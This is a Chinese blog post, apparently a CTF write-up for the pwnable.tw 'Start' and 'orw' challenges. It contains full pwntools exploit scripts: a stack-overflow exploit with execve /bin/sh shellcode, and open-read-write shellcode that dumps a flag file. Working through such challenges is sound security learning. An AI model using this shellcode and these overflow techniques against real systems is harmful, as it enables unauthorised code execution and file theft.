pwnable.tw 刷题


开始刷pwnable.tw这个高质量平台的题目了,做一下记录

0x1.Start

检查保护

什么保护都没有

载入IDA看看

程序很简短,一个start一个exit

分析汇编代码,程序首先将exit函数压入栈中,然后压入0x14字节大小的字符串,调用write打印0x14长度的字符串,随后调用read读入0x3c大小的数据,于是这里就存在栈溢出。

由于程序是汇编写的,不能通过ROP来获取shell,加上程序没开nx保护,我们使用shellcode来获取shell。构造出如下的栈空间:

首先我们来泄露栈地址,需要利用程序中的write系统调用,我们将返回地址覆盖为0x08048087

.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch ; '<'
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 retn

这样就会打印出esp的值,于ret_addr+4相差0x14,等到下一次输入的时候我们将返回地址覆盖为stack+0x14,再将ret_addr+4覆盖为shellcode,完整exp如下

from pwn import *
context.binary = './start'
io=process('./start')
#io = remote('chall.pwnable.tw', 10000)
gadget = 0x8048087
payload = 'A'*0x14
payload += p32(gadget)
io.recv()
#gdb.attach(io)
io.send(payload)
stack = u32(io.recv(4))
log.success('stack => {}'.format(hex(stack)))

shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
payload = 'A'*0x14+p32(stack+20)+shellcode
io.send(payload)
io.interactive()

0x2.orw

检查保护

IDA分析

程序有一个沙箱函数,检测一下

限制我们使用open、read、write函数

继续看程序,直接让我们输入shellcode,然后执行shellcode

所以程序就是让我们写一个orw的shellcode

没啥好说的,直接上exp

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
context.binary='./orw'
io = process('orw')
#io = remote('chall.pwnable.tw', 10001)
shellcode = '''
push 0x00006761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
mov eax,0x5
mov ebx,esp
xor ecx,ecx
int 0x80
mov ebx,eax
mov ecx,esp
mov edx,0x30
mov eax,0x3
int 0x80
mov ebx,1
mov eax,0x4
int 0x80
'''
shellcode = asm(shellcode)
io.recvuntil(':')
io.send(shellcode)
io.interactive()

0x3.calc

这题实现了一个计算器的功能,然而我搞不定,只能看大佬的wp


文章作者: Lock
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lock !
评论
 上一篇
qemu pwn学习 qemu pwn学习
document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return
2020-10-30 Lock
下一篇 
qiling框架学习 qiling框架学习
qiling框架能够做到 麒麟框架不仅仅是一个仿真平台或逆向工程工具。它还将“二进制插桩”和“二进制仿真”结合一起。并解决了应用程序不能在隔离环境里运行并且高度依赖于操作系统的问题。由于大量的操作系统支持,麒麟框架为二进制分析提供了无限的
2020-09-19
  目录